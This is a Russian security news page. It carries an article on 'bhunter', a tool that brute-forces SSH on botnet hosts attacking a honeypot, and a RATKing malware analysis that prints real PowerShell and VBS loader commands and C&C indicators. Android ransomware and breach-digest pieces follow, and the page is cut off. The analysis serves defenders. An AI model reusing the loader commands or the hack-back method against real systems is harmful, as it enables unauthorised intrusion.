Русский
Русский
English
Статистика
Реклама

Вирусы

Bhunter получаем доступ к узлам бот-сетей

17.06.2020 02:23:57 | Автор: admin
Вирусные аналитики и исследователи компьютерной безопасности стремятся собрать как можно больше образцов новых ботнетов. В своих целях они используют honeypot'ы. Но что если хочется понаблюдать за зловредом в реальных условиях? Подставить под удар свой сервер, маршрутизатор? А что если подходящего устройства нет? Именно эти вопросы натолкнули меня на создание bhunter инструмента для получения доступа к узлам бот-сетей.

image

Основная идея


Существует много способов распространения вредоносного по для расширения бот-сетей: начиная от фишинга и заканчивая эксплуатацией 0-day уязвимостей. Но самым распространенным методом до сих пор остается перебор паролей к SSH.

Идея очень проста. Если с какого-то узла бот-сети осуществляется перебор паролей к вашему серверу, то вероятнее всего этот узел сам был захвачен перебором простых паролей. А значит, чтобы получить к нему доступ, надо просто ответить ему взаимностью.

Именно так и работает bhunter. Слушает 22 порт (служба SSH) и собирает все лоигны и пароли, с которыми пытаются к нему подключиться. Затем, используя собранные пароли, пытается подключиться к атакующим узлам.

Алгоритм работы


Программу можно условно разделить на 2 основные части, которые работают в отдельных потоках. Первая honeypot. Обрабатывает попытки входа, собирает уникальные логины и пароли (в данном случае пара логин+пароль рассматривается как единое целое), а также добавляет в очередь для дальнейшей атаки IP-адреса, которые пытались подключиться.

Вторая часть отвечает непосредственно за атаку. При чем атака ведется в двух режимах: BurstAttack (атака очередью) перебор логинов и паролей из общего списка и SingleShotAttack (атака одиночными выстрелами) перебор паролей, которые использовались атакуемым узлом, но еще не были добавлены в общий список.

Чтобы иметь хоть какую-то базу логинов и паролей сразу после запуска, bhunter инициализируется списком из файла /etc/bhunter/defaultLoginPairs.

Интерфейс


Предусмотрено несколько способов запуска bhunter:

Просто командой

sudo bhunter

При таком запуске есть возможность управлять bhunter'ом через его текстовое меню: добавлять логины и пароли для атаки, экспортировать базу логинов и паролей, указать цель для атаки. Все взломанные узлы можно увидеть в файле /var/log/bhunter/hacked.log

Используя tmux

sudo bhunter-ts # команда запуска bhunter через tmux  sudo tmux attach -t bhunter # подключаемся к сессии, в которой запущен bhunter

Tmux терминальный мультиплексор, очень удобный инструмент. Позволяет в рамках одного терминала создавать несколько окон, а окна разбивать на панели. Используя его можно выйти из терминала а потом зайти не прерывая запущенные процессы.

Скрипт bhunter-ts создает tmux-сессию и разбивает окно на три панели. В первой самой большой, находится текстовое меню. Верхняя правая содержит в себе логи honeypot'а, тут можно увидеть сообщения о попытках входа на honeypot. В нижней правой панели выводится информация о ходе атаки на узлы бот-сетей и об успешных взломах.

Преимущество этого способа над первым в том, что мы можем смело закрыть терминал и вернуться к нему позже, при этом bhunter не остановит работу. Тем, кто мало знаком с tmux предлагаю эту шпаргалку.

As a service

systemctl enable bhuntersystemctl start bhunter

В данном случае мы включаем автозапуск bhunter при старте системы. В данном методе взаимодействие с bhunter не предусмотрено, а список взломанных узлов можно получить из /var/log/bhunter/hacked.log

Баги, которые я пока не исправил


При атаке на зараженные узлы в некоторых ситуациях не удается однозначно определить подошел пароль или нет. Журналирование таких случаев ведется в файле /var/log/debug.log.

Модуль Paramiko, который используется для работы с SSH иногда ведет себя некорректно: уходит в бесконечное ожидание ответа от узла, когда пытается к нему подключиться. Я экспериментировал с таймерами, но нужного результата не получил

Над чем еще предстоит поработать?


Servise name

Согласно RFC-4253, клиент и сервер перед установкой обмениваются названиями служб, реализующих протокол SSH. Данное название содержится в поле SERVICE NAME, содержащимся как в запросе со стороны клиента, так и в ответе со стороны сервера. Поле представляет из себя строку, и его значение можно узнать используя wireshark или nmap. Вот пример для OpenSSH:

$ nmap -p 22 188.68.209.245 -sVStarting Nmap ...PORT   STATE SERVICE VERSION22/tcp open  ssh     <b>OpenSSH 7.9p1 Debian 10+deb10u2</b> (protocol 2.0)Nmap done: 1 IP address (1 host up) scanned in 0.47 seconds

Однако в случае с Paramiko, данное поле содержит строку вида Paramiko Python sshd 2.4.2, что может отпугнуть ботнеты, в которые заложено избегание ловушек. Поэтому считаю необходимым заменить эту строку на что-то более нейтральное.

Другие вектора

SSH не является единственным средством удаленного управления. Есть еще telnet, rdp. Стоит присмотреться и к ним.

Расширение

Было бы здорово иметь несколько ловушек в разных странах и централизовано собирать с них логины, пароли и взломанные узлы в общую базу данных

Где скачать?


На момент написания статьи готова только тестовая версия, которую можно скачать из репозитория на Github.

P. S. Об эффективности данного инструмента поговорим в следующий раз.
Подробнее..

RATKing новая кампания с троянами удаленного доступа

26.06.2020 12:10:59 | Автор: admin
Вконце мая мыобнаружили кампанию распространения ВПО класса Remote Access Trojan (RAT) программ, которые позволяют злоумышленникам удаленно управлять зараженной системой.

Рассматриваемая нами группировка отличилась тем, что она невыбрала для заражения какое-то определенное семейство RAT. Ватаках врамках кампании были замечены сразу несколько троянов (все вшироком доступе). Этой чертой группировка напомнила нам окрысином короле мифическом животном, которое состоит изгрызунов спереплетенными хвостами.



Оригинал взят измонографии К.Н.Россикова Мыши имышевидные грызуны, наиболее важные вхозяйственном отношении (1908г.)

Вчесть этого существа мыназвали рассматриваемую нами группировку RATKing. Вэтом посте мырасскажем подробно отом, как злоумышленники проводили атаку, какие инструменты они использовали, атакже поделимся своими соображениями относительно атрибуции этой кампании.

Ход атаки


Все атаки вэтой кампании проходили последующему алгоритму:

  1. Пользователь получал фишинговое письмо соссылкой наGoogle Drive.
  2. Поссылке жертва скачивала вредоносный VBS-скрипт, который прописывал DLL-библиотеку для загрузки конечного пейлоада вреестр Windows изапускал PowerShell, чтобы исполнитьее.
  3. DLL-библиотека внедряла конечный пейлоад собственно, один изиспользуемых злоумышленниками RAT всистемный процесс ипрописывала VBS-скрипт вавтозапуск, чтобы закрепиться взараженной машине.
  4. Конечный пейлоад исполнялся всистемном процессе идавал злоумышленнику возможность управлять зараженным компьютером.

Схематически это можно представить так:



Далее мысосредоточимся напервых трех этапах, поскольку нас интересует именно механизм доставки ВПО. Мынестанем подробно описывать механизм работы самих вредоносов. Они находятся вшироком доступе либо продаются наспециализированных форумах, либо ивовсе распространяются как проекты соткрытым исходным кодом, азначит, неуникальны для группировки RATKing.

Анализ этапов атаки


Этап1. Фишинговая рассылка


Атака начиналась стого, что жертва получала вредоносное письмо (злоумышленники использовали разные шаблоны стекстом, наскриншоте ниже приведен один изпримеров). Всообщении была ссылка налегитимное хранилище drive.google.com, которая якобы вела настраницу загрузки документа вформате PDF.



Пример фишингового письма

Однако наделе загружался вовсе неPDF-документ, аVBS-скрипт.

При переходе поссылке изписьма наскриншоте выше загружался файл сименем Cargo Flight Details.vbs. Вэтом случае злоумышленники даже непытались замаскировать файл под легитимный документ.

Втоже время врамках этой кампании мыобнаружили скрипт сименем Cargo Trip Detail.pdf.vbs. Онуже мог сойти залегитимный PDF, потому что поумолчанию Windows скрывает расширение файлов. Правда, вэтом случае подозрение все еще могла вызвать его иконка, соответствовавшая VBS-скрипту.

Наэтом этапе жертва могла распознать обман: достаточно насекунду присмотреться кскачиваемым файлам. Однако втаких фишинговых кампаниях злоумышленники зачастую рассчитывают именно наневнимательного или спешащего пользователя.

Этап2. Работа VBS-скрипта


VBS-скрипт, который пользователь мог открыть понеосторожности, прописывал DLL-библиотеку вреестр Windows. Скрипт был обфусцирован: строки внем записаны ввиде байтов, разделенных произвольным символом.



Пример обфусцированного скрипта

Алгоритм деобфускации достаточно прост: изобфусцированной строки исключался каждый третий символ, после чего результат декодировался изbase16в исходную строку. Например, иззначения 57Q53s63t72s69J70r74e2El53v68m65j6CH6Ct (выделено наскриншоте выше) получалась строка WScript.Shell.

Для деобфускации строк мыиспользовали функцию наPython:

def decode_str(data_enc):       return binascii.unhexlify(''.join([data_enc[i:i+2] for i in range(0, len(data_enc), 3)]))

Ниже настроках 910 выделено значение, при деобфускации которого получался DLL-файл. Именно онзапускался наследующем этапе спомощью PowerShell.



Строка собфусцированным DLL

Каждая функция вVBS-скрипте выполнялась помере деобфускации строк.

После запуска скрипта вызывалась функция wscript.sleep сеепомощью выполнялось отложенное исполнение.

Далее скрипт работал среестром Windows. Ониспользовал для этого технологию WMI. Сеепомощью создавался уникальный ключ, ивего параметр записывалось тело исполняемого файла. Обращение креестру через WMI выполнялось спомощью следующей команды:

GetObject(winmgmts {impersonationLevel=impersonate}!\\.\root\default:StdRegProv)



Запись, сделанная вреестре VBS-скриптом

Этап3. Работа DLL-библиотеки


Натретьем этапе вредоносная DLL-библиотека загружала конечный пейлоад, внедряла его всистемный процесс иобеспечивала автозапуск VBS-скрипта при входе пользователя всистему.

Запуск через PowerShell

DLL-библиотека исполнялась спомощью следующей команды вPowerShell:

[System.Threading.Thread]::GetDomain().Load((ItemProperty HKCU:\/\/\/Software\/\/\/<rnd_sub_key_name> ).<rnd_value_name>);[GUyyvmzVhebFCw]::EhwwK('WScript.ScriptFullName', 'rWZlgEtiZr', 'WScript.ScriptName'),0

Эта команда делала следующее:

  • получала данные значения реестра сименем rnd_value_name эти данные представляли собой DLL-файл, написанный наплатформе .Net;
  • загружала полученный .Net-модуль впамять процесса powershell.exeспомощью функции [System.Threading.Thread]::GetDomain().Load()(подробное описание функции Load() доступно насайте Microsoft);
  • исполняла функциюGUyyvmzVhebFCw]::EhwwK() снее начиналось исполнение DLLбиблиотеки спараметрами vbsScriptPath, xorKey, vbsScriptName. Параметр xorKey хранил ключ для расшифровки конечного пейлоада, апараметры vbsScriptPathиvbsScriptName передавались для того, чтобы прописать VBS-скрипт вавтозапуск.

Описание DLL-библиотеки

Вдекомпилированном виде загрузчик выглядел так:



Загрузчик вдекомпилированном виде (красным подчеркнута функция, скоторой начиналось исполнение DLL-библиотеки)

Загрузчик защищен протектором .Net Reactor. Соснятием данного протектора отлично справляется утилита de4dot.

Данный загрузчик:

  • осуществлял инжект пейлоада всистемный процесс (вданном примере это svchost.exe);
  • прописывал VBS-скрипт вавтозапуск.

Инжект пейлоада

Рассмотрим функцию, которую вызывал PowerShell-скрипт.



Функция, вызываемая PowerShell-скриптом

Данная функция осуществляла следующие действия:

  • расшифровывала два массива данных (array иarray2 наскриншоте). Первоначально они были сжаты спомощью gzip изашифрованы алгоритмом XOR сключом xorKey;
  • копировала данные ввыделенные области памяти. Данные изarray вобласть памяти, накоторую указывал intPtr(payload pointer наскриншоте); данные изarray2 вобласть памяти, накоторую указывал intPtr2(shellcode pointer наскриншоте);
  • вызывала функцию CallWindowProcA(описание этой функции есть насайте Microsoft) соследующими параметрами (ниже перечислены имена параметров, наскриншоте они идут втомже порядке, носрабочими значениями):
    • lpPrevWndFuncуказатель наданные из array2;
    • hWndуказатель настроку, содержащую путь кисполняемому файлу svchost.exe;
    • Msgуказатель наданные из array;
    • wParam,lParam параметры сообщения (вданном случае эти параметры неиспользовались иимели значения 0);
  • создавала файл %AppData%\Microsoft\Windows\Start Menu\Programs\Startup\<name>.url, где <name> это первые 4символа параметра vbsScriptName(наскриншоте фрагмент кода сэтим действием начинается скоманды File.Copy). Таким образом вредонос добавлял URL-файл всписок файлов для автозапуска при входе пользователя всистему итем самым закреплялся назараженном компьютере. URL-файл содержал ссылку наскрипт:

[InternetShortcut]URL = file : ///<vbsScriptPath>

Для понимания того, как осуществлялся инжект, мырасшифровали массивы данных array и array2. Для этого мыиспользовали следующую функцию наPython:

def decrypt(data, key):    return gzip.decompress(        bytearray([data[i] ^ key[i % len(key)] for i in range(len(data))])[4:])    

Врезультате мывыяснили, что:

  • array представлял собой PE-файл это иесть конечный пейлоад;
  • array2 представлял собой шелл-код, необходимый для осуществления инжекта.

Шелл-код измассива array2 передавался вкачестве значения функции lpPrevWndFunc вфункцию CallWindowProcA. lpPrevWndFunc функция обратного вызова, еепрототип выглядит так:

LRESULT WndFunc(  HWND    hWnd,  UINT    Msg,  WPARAM  wParam,  LPARAM  lParam);

Таким образом, при запуске функции CallWindowProcA спараметрами hWnd, Msg, wParam, lParamисполняется шелл-код измассива array2 саргументами hWnd и Msg. hWnd это указатель настроку, содержащую путь кисполняемому файлу svchost.exe, а Msg указатель наконечный пейлоад.

Шелл-код получал адреса функций изkernel32.dllиntdll32.dllпозначениям хешей отихимен ивыполнял инжект конечного пейлоада впамять процесса svchost.exe, используя технику Process Hollowing (подробно оней можно прочитать вэтой статье). При инжекте шелл-код:

  • создавал процесс svchost.exe вприостановленном состоянии при помощи функции CreateProcessW;
  • затем скрывал отображение секции вадресном пространстве процесса svchost.exeпри помощи функции NtUnmapViewOfSection. Таким образом программа освобождала память оригинального процесса svchost.exe, чтобы затем поэтому адресу выделить память для пейлоада;
  • выделял память для пейлоада вадресном пространстве процесса svchost.exe при помощи функции VirtualAllocEx;



Начало процесса инжекта

  • записывал содержимое пейлоада вадресное пространство процесса svchost.exe при помощи функции WriteProcessMemory (как наскриншоте ниже);
  • возобновлял процесс svchost.exe при помощи функции ResumeThread.



Завершение процесса инжекта

Загружаемое ВПО


Врезультате описанных действий взараженной системе устанавливалась одна изнескольких вредоносных программ класса RAT. Втаблице ниже перечислены использованные ватаке вредоносы, которые мысуверенностью можем приписать одной группе злоумышленников, поскольку семплы обращались кодному итомуже серверу управления.
Название ВПО
Впервые замечено
SHA-256
C&C
Процесс, вкоторый осуществляется инжект
Darktrack
16-04-2020
ea64fe672c953adc19553ea3b9118ce4ee88a14d92fc7e75aa04972848472702
kimjoy007.dyndns[.]org:2017
svchost
Parallax
24-04-2020
b4ecd8dbbceaadd482f1b23b712bcddc5464bccaac11fe78ea5fd0ba932a4043
kimjoy007.dyndns[.]org:2019
svchost
WARZONE
18-05-2020
3786324ce3f8c1ea3784e5389f84234f81828658b22b8a502b7d48866f5aa3d3
kimjoy007.dyndns[.]org:9933
svchost
Netwire
20-05-2020
6dac218f741b022f5cad3b5ee01dbda80693f7045b42a0c70335d8a729002f2d
kimjoy007.dyndns[.]org:2000
svchost

Примеры распространяемого ВПО содним итемже сервером управления

Здесь примечательны две вещи.

Во-первых, сам факт, что злоумышленники использовали сразу несколько различных семейств RAT. Такое поведение нехарактерно для известных кибергруппировок, которые зачастую используют приблизительно одинаковый набор привычных для них инструментов.

Во-вторых, RATKing использовали вредоносы, которые либо продаются наспециализированных форумах занебольшую цену, либо ивовсе являются проектами соткрытым исходным кодом.

Более полный перечень использованного вкампании ВПО содной важной оговоркой приведен вконце статьи.

Огруппировке


Мынеможем отнести описанную вредоносную кампанию ккаким-либо известным злоумышленникам. Пока мысчитаем, что эти атаки совершила принципиально новая группировка. Как мыуже писали вначале, мыназвали ееRATKing.

Для создания VBS-скрипта группировка, вероятно, использовала инструмент, похожий наутилиту VBS-Crypter отразработчика NYAN-x-CAT. Наэто указывает схожесть скрипта, который создает эта программа, соскриптом злоумышленников. Вчастности, они оба:

  • осуществляют отложенное исполнение спомощью функции Sleep;
  • используют WMI;
  • прописывают тело исполняемого файла вкачестве параметра ключа реестра;
  • исполняют этот файл при помощи PowerShell вегоже адресном пространстве.

Для наглядности сравните команду PowerShell для запуска файла изреестра, которую использует скрипт, созданный спомощью VBS-Crypter:

((Get-ItemPropertyHKCU:\Software\NYANxCAT\).NYANxCAT);$text=-join$text[-1..-$text.Length];[AppDomain]::CurrentDomain.Load([Convert]::FromBase64String($text)).EntryPoint.Invoke($Null,$Null);

саналогичной командой, которую использовал скрипт злоумышленников:

[System.Threading.Thread]::GetDomain().Load((ItemProperty HKCU:\/\/\/Software\/\/\/<rnd_sub_key_name> ).<rnd_value_name>);[GUyyvmzVhebFCw]::EhwwK('WScript.ScriptFullName', 'rWZlgEtiZr', 'WScript.ScriptName'),0

Заметим, что вкачестве одного изпейлоадов злоумышленники использовали другую утилиту отNYAN-x-CAT LimeRAT.

Адреса C&C-серверов указывают наеще одну отличительную черту RATKing: группировка предпочитает сервисы динамического DNS (см. перечень C&Cв таблице сIoC).

IoC


Втаблице ниже приведен полный перечень VBS-скриптов, которые сбольшой вероятностью можно отнести кописанной кампании. Все эти скрипты похожи иосуществляют примерно одинаковую последовательность действий. Все они инжектят ВПО класса RAT вдоверенный процесс Windows. Увсех них адреса C&C зарегистрированы сиспользованием Dynamic DNS-сервисов.

Тем неменее, мынеможем утверждать, что все эти скрипты распространялись одними итемиже злоумышленниками, заисключением семплов содинаковыми адресами C&C (например, kimjoy007.dyndns.org).
Название ВПО
SHA-256
C&C
Процесс, вкоторый осуществляется инжект
Parallax
b4ecd8dbbceaadd482f1b23b712bcddc5464bccaac11fe78ea5fd0ba932a4043
kimjoy007.dyndns.org
svchost
00edb8200dfeee3bdd0086c5e8e07c6056d322df913679a9f22a2b00b836fd72
hope.doomdns.org
svchost
504cbae901c4b3987aa9ba458a230944cb8bd96bbf778ceb54c773b781346146
kimjoy007.dyndns.org
svchost
1487017e087b75ad930baa8b017e8388d1e99c75d26b5d1deec8b80e9333f189
kimjoy007.dyndns.org
svchost
c4160ec3c8ad01539f1c16fb35ed9c8c5a53a8fda8877f0d5e044241ea805891
franco20.dvrdns.org
svchost
515249d6813bb2dde1723d35ee8eb6eeb8775014ca629ede017c3d83a77634ce
kimjoy007.dyndns.org
svchost
1b70f6fee760bcfe0c457f0a85ca451ed66e61f0e340d830f382c5d2f7ab803f
franco20.dvrdns.org
svchost
b2bdffa5853f29c881d7d9bff91b640bc1c90e996f85406be3b36b2500f61aa1
hope.doomdns.org
svchost
c9745a8f33b3841fe7bfafd21ad4678d46fe6ea6125a8fedfcd2d5aee13f1601
kimjoy007.dyndns.org
svchost
1dfc66968527fbd4c0df2ea34c577a7ce7a2ba9b54ba00be62120cc88035fa65
franco20.dvrdns.org
svchost
c6c05f21e16e488eed3001d0d9dd9c49366779559ad77fcd233de15b1773c981
kimjoy007.dyndns.org
cmd
3b785cdcd69a96902ee62499c25138a70e81f14b6b989a2f81d82239a19a3aed
hope.doomdns.org
svchost
4d71ceb9d6c53ac356c0f5bdfd1a5b28981061be87e38e077ee3a419e4c476f9
2004para.ddns.net
svchost
00185cc085f284ece264e3263c7771073a65783c250c5fd9afc7a85ed94acc77
hope.doomdns.org
svchost
0342107c0d2a069100e87ef5415e90fd86b1b1b1c975d0eb04ab1489e198fc78
franco20.dvrdns.org
svchost
de33b7a7b059599dc62337f92ceba644ac7b09f60d06324ecf6177fff06b8d10
kimjoy007.dyndns.org
svchost
80a8114d63606e225e620c64ad8e28c9996caaa9a9e87dd602c8f920c2197007
kimjoy007.dyndns.org
svchost
acb157ba5a48631e1f9f269e6282f042666098614b66129224d213e27c1149bb
hope.doomdns.org
cmd
bf608318018dc10016b438f851aab719ea0abe6afc166c8aea6b04f2320896d3
franco20.dvrdns.org
svchost
4d0c9b8ad097d35b447d715a815c67ff3d78638b305776cde4d90bfdcb368e38
hope.doomdns.org
svchost
e7c676f5be41d49296454cd6e4280d89e37f506d84d57b22f0be0d87625568ba
kimjoy007.dyndns.org
svchost
9375d54fcda9c7d65f861dfda698e25710fda75b5ebfc7a238599f4b0d34205f
franco20.dvrdns.org
svchost
128367797fdf3c952831c2472f7a308f345ca04aa67b3f82b945cfea2ae11ce5
kimjoy007.dyndns.org
svchost
09bd720880461cb6e996046c7d6a1c937aa1c99bd19582a562053782600da79d
hope.doomdns.org
svchost
0a176164d2e1d5e2288881cc2e2d88800801001d03caedd524db365513e11276
paradickhead.homeip.net
svchost
0af5194950187fd7cbd75b1b39aab6e1e78dae7c216d08512755849c6a0d1cbe
hope.doomdns.org
svchost
Warzone
3786324ce3f8c1ea3784e5389f84234f81828658b22b8a502b7d48866f5aa3d3
kimjoy007.dyndns.org
svchost
db0d5a67a0ced6b2de3ee7d7fc845a34b9d6ca608e5fead7f16c9a640fa659eb
kimjoy007.dyndns.org
svchost
Netwire
6dac218f741b022f5cad3b5ee01dbda80693f7045b42a0c70335d8a729002f2d
kimjoy007.dyndns.org
svchost
Darktrack
ea64fe672c953adc19553ea3b9118ce4ee88a14d92fc7e75aa04972848472702
kimjoy007.dyndns.org
svchost
WSH RAT
d410ced15c848825dcf75d30808cde7784e5b208f9a57b0896e828f890faea0e
anekesolution.linkpc.net
RegAsm

Lime


896604d27d88c75a475b28e88e54104e66f480bcab89cc75b6cdc6b29f8e438b
softmy.duckdns.org
RegAsm
QuasarRAT
bd1e29e9d17edbab41c3634649da5c5d20375f055ccf968c022811cd9624be57
darkhate-23030.portmap.io
RegAsm
12044aa527742282ad5154a4de24e55c9e1fae42ef844ed6f2f890296122153b
darkhate-23030.portmap.io
RegAsm
be93cc77d864dafd7d8c21317722879b65cfbb3297416bde6ca6edbfd8166572
darkhate-23030.portmap.io
RegAsm
933a136f8969707a84a61f711018cd21ee891d5793216e063ac961b5d165f6c0
darkhate-23030.portmap.io
RegAsm
71dea554d93728cce8074dbdb4f63ceb072d4bb644f0718420f780398dafd943
chrom1.myq-see.com
RegAsm
0d344e8d72d752c06dc6a7f3abf2ff7678925fde872756bf78713027e1e332d5
darkhate-23030.portmap.io
RegAsm
0ed7f282fd242c3f2de949650c9253373265e9152c034c7df3f5f91769c6a4eb
darkhate-23030.portmap.io
RegAsm
aabb6759ce408ebfa2cc57702b14adaec933d8e4821abceaef0c1af3263b1bfa
darkhate-23030.portmap.io
RegAsm
1699a37ddcf4769111daf33b7d313cf376f47e92f6b92b2119bd0c860539f745
darkhate-23030.portmap.io
RegAsm
3472597945f3bbf84e735a778fd75c57855bb86aca9b0a4d0e4049817b508c8c
darkhate-23030.portmap.io
RegAsm
809010d8823da84cdbb2c8e6b70be725a6023c381041ebda8b125d1a6a71e9b1
darkhate-23030.portmap.io
RegAsm
4217a2da69f663f1ab42ebac61978014ec4f562501efb2e040db7ebb223a7dff
darkhate-23030.portmap.io
RegAsm
08f34b3088af792a95c49bcb9aa016d4660609409663bf1b51f4c331b87bae00
darkhate-23030.portmap.io
RegAsm
79b4efcce84e9e7a2e85df7b0327406bee0b359ad1445b4f08e390309ea0c90d
darkhate-23030.portmap.io
RegAsm
12ea7ce04e0177a71a551e6d61e4a7916b1709729b2d3e9daf7b1bdd0785f63a
darkhate-23030.portmap.io
RegAsm
d7b8eb42ae35e9cc46744f1285557423f24666db1bde92bf7679f0ce7b389af9
darkhate-23030.portmap.io
RegAsm
def09b0fed3360c457257266cb851fffd8c844bc04a623c210a2efafdf000d5c
darkhate-23030.portmap.io
RegAsm
50119497c5f919a7e816a37178d28906fb3171b07fc869961ef92601ceca4c1c
darkhate-23030.portmap.io
RegAsm
ade5a2f25f603bf4502efa800d3cf5d19d1f0d69499b0f2e9ec7c85c6dd49621
darkhate-23030.portmap.io
RegAsm
189d5813c931889190881ee34749d390e3baa80b2c67b426b10b3666c3cc64b7
darkhate-23030.portmap.io
RegAsm
c3193dd67650723753289a4aebf97d4c72a1afe73c7135bee91c77bdf1517f21
darkhate-23030.portmap.io
RegAsm
a6f814f14698141753fc6fb7850ead9af2ebcb0e32ab99236a733ddb03b9eec2
darkhate-23030.portmap.io
RegAsm
a55116253624641544175a30c956dbd0638b714ff97b9de0e24145720dcfdf74
darkhate-23030.portmap.io
RegAsm
d6e0f0fb460d9108397850169112bd90a372f66d87b028e522184682a825d213
darkhate-23030.portmap.io
RegAsm
522ba6a242c35e2bf8303e99f03a85d867496bbb0572226e226af48cc1461a86
darkhate-23030.portmap.io
RegAsm
fabfdc209b02fe522f81356680db89f8861583da89984c20273904e0cf9f4a02
darkhate-23030.portmap.io
RegAsm
08ec13b7da6e0d645e4508b19ba616e4cf4e0421aa8e26ac7f69e13dc8796691
darkhate-23030.portmap.io
RegAsm
8433c75730578f963556ec99fbc8d97fa63a522cef71933f260f385c76a8ee8d
darkhate-23030.portmap.io
RegAsm
99f6bfd9edb9bf108b11c149dd59346484c7418fc4c455401c15c8ac74b70c74
darkhate-23030.portmap.io
RegAsm
d13520e48f0ff745e31a1dfd6f15ab56c9faecb51f3d5d3d87f6f2e1abe6b5cf
darkhate-23030.portmap.io
RegAsm
9e6978b16bd52fcd9c331839545c943adc87e0fbd7b3f947bab22ffdd309f747
darkhate-23030.portmap.io
RegAsm
Подробнее..

Новое поколение Android malware использует машинное обучение для обхода антивирусного ПО

12.10.2020 10:15:25 | Автор: admin

Системы антивирусного ПО становятся все совершеннее. Но и разработчики malware не сидят без дела, создавая более продвинутые версии зловредного программного обеспечения для самых разных платформ и операционных систем.

Чаще всего внимание злоумышленников к определенной платформе или ОС обусловлены популярностью этих систем. Все просто чем больше у них пользователей, тем больше шанс на удачную крупную атаку. Одна из наиболее привлекательных целей для разработчиков зловредов Android. Корпорация Microsoft на днях опубликовала результаты исследования нового поколения malware для этой операционной системы.

Зловреды для Android? Они существуют много лет, одним больше, другим меньше


В целом, все так и есть, но malware, которое обнаружили эксперты по ИБ из Microsoft, удивляет своими возможностями. Речь идет о AndroidOS/MalLocker.B, одной из разновидностей вымогателей для Android.

Последнее его поколение способно обходить практически все системы защиты, предлагаемые рынком антивирусного ПО.

Результат работы одного из представителей семейства ransomware прежних версий

Для демонстрации сообщения, скриншот которого показан выше, зловреды использовали специальное разрешение SYSTEM_ALERT_WINDOW. Оно дает возможность приложению выводить окно с системным уровнем допуска, благодаря чему антивирусное ПО не в состоянии противодействовать.

Разработчики Android при помощи SYSTEM_ALERT_WINDOW реализовали вывод сообщений о проблемах и ошибках в системе. Разработчики зловредного ПО при помощи системного сообщения показывают требование отправить деньги, причем все остальные функции устройства при этом блокируются. Довольно часто это срабатывает, и неискушенный в технологиях пользователь действительно платит.

Разработчики Android ввели в последних версиях ОС несколько изменений, которые позволяли избежать этой опасности:

  • Заменили SYSTEM_ALERT_WINDOW другими типами вызова окна сообщения об ошибках/уведомлениях.
  • Ввели запрос пользователя о разрешение использования SYSTEM_ALERT_WINDOW для разных приложений, а не всех вместе.
  • Добавили возможность деактивации окна SYSTEM_ALERT_WINDOW пользователем.

Разработчики зловредного ПО пытались адаптироваться. Например, вводили в цикл процесс отрисовки окон с требованием выкупа. Но это не было особенно эффективным методом, поскольку пользователь мог все свернуть, зайти в настройки и удалить проблемное приложение.

Но сейчас все изменилось, разработчики зловредного ПО тоже оказались не лыком шиты.

Что конкретно делает AndroidOS/MalLocker.B?


Зловред нового поколения взаимодействует с функцией вызова окна звонка. Закрыть окно не так просто, поскольку у него высокий приоритет. Внутри самого окна демонстрируется все тот же текст с требованием отправить деньги на кошелек злоумышленников.

Для этого используется два компонента, которые позволяют создать специальный тип уведомления, который и задействует затем окно телефонного вызова.


При этом задействуется onUserLeaveHint, функция, которая активируется при нажатии таких кнопок, как Home или Recents. Вредонос использует ее для того, чтобы не дать пользователю вернуться на домашний экран, свернуть окно с требованием выкупа или переключиться на другое приложение. Подобная тактика в новинку, поскольку раньше вымогатели использовали DoubleLocker и сочетали ее с Accessibility service.


Еще одна новая функция ransomware использование модуля машинного обучения, что позволяет зловреду определять необходимые размеры окна сообщения, адаптируя его под размеры экрана и другие особенности устройства. Поскольку моделей планшетов и телефонов на Android великое множество, то для ransomware это крайне полезное умение.

Ниже показана схема работы разных видов зловредного ПО, включая представителей новейшего семейства. Полноразмерное изображение откроется при клике.


Эксперты по ИБ предполагают, что эволюция этой ветки ransomware далека от тупика впереди грядет еще несколько поколений с новыми функциями и возможностями.

Обход защиты и способы распространения


Разработчики AndroidOS/MalLocker.B научили свое детище обходить как штатную систему безопасности Google, так и сторонние антивирусные решения. Сделано это путем маскировки некоторых функций и возможностей ransomware.

Так, любое Android-приложение включает manifest file, который содержит названия и детали всех программных компонентов. Разработчики зловредного ПО в обычной ситуации маскируют и скрывают некоторые важные компоненты. Создатели нового ransomware выбрали иной путь они обфусцируют код, который не позволяет антивирусным приложениям обнаружить вредонос. Кроме того, файл скрывают в другой папке, так что ransomware может работать, но не показывать истинности своих намерений.

Новый вредонос вряд ли проникнет в Google Play Store, но в сторонние каталоги приложений оно сможет попасть без особых проблем. Сейчас ransomware распространяется разработчиками на форумах, обычных веб-сайтах, сторонних каталогах приложений для Android. Здесь ничего нового, тактика киберпреступников стандартная замаскировать зловредный софт под популярное приложение, видеоигру, плеер или еще что-то подобное.

Для предотвращения распространения зловреда Microsoft поделилась детальной информации о нем с Google еще до того, как результаты изучения ransomware попали в паблик. Рекомендации, которые дают специалисты по ИБ пользователям, самые простые загружать приложения из доверенных источников и не кликать по подозрительным ссылкам, включая те, что содержатся в сообщениях электронной почты.

Подробнее..

(не) Безопасный дайджест новые мегаутечки и один пароль на всех

30.12.2020 10:17:29 | Автор: admin

Привет! Завершаем год традиционным дайджестом классических и нетривиальных ИБ-инцидентов, о которых писали зарубежные и российские СМИ в декабре. Нас лично впечатлило, как создатели Чёрного зеркала предсказали свои собственные проблемы. А вас?

У них

Оживший сюжет

Что случилось: Одна из крупнейших продюсерских студий мира EndemolShine, которая создает и распространяет телешоу Большой брат и Голос (в Нидерландах), а также сериал Чёрное зеркало, столкнулась с вымогателями.

Кто виноват: За атакой стоит группировка DoppelPaymer, известная случаями шантажа крупных корпораций и госорганов. Злоумышленники украли персональные данные нынешних и бывших сотрудников Endemol, а также часть информации, составляющей коммерческую тайну. Некоторые из документов DoppelPaymer уже слила в интернет и теперь требует выкуп у руководства компании, а иначе грозит обнародовать остальные данные. Размер выкупа не называют, но по аналогии с другими делами DoppelPaymer, речь может идти о семизначной сумме.

По сообщениям СМИ, среди скомпрометированных файлов есть доказательства того, что деятельность Endemol не полностью отвечает требованиям Общего регламента о защите данных (GDRP). А это грозит фирме серьезными штрафами.

Любопытно, что в третьем сезоне нашумевшего Чёрного зеркала, сценаристы которого вскрывают язвы цифрового мира, есть эпизод на тему вымогательства в обмен на непубликацию компромата. В фильме (как часто бывает и в жизни) все завершилось печально жертвы хакера выполнили все условия договора, но их личная информация все равно была обнародована. Мораль проста: никогда не иди на сделки с вымогателями, лучше проверь, насколько хорошо защищены твои данные.

Страховка от утечки

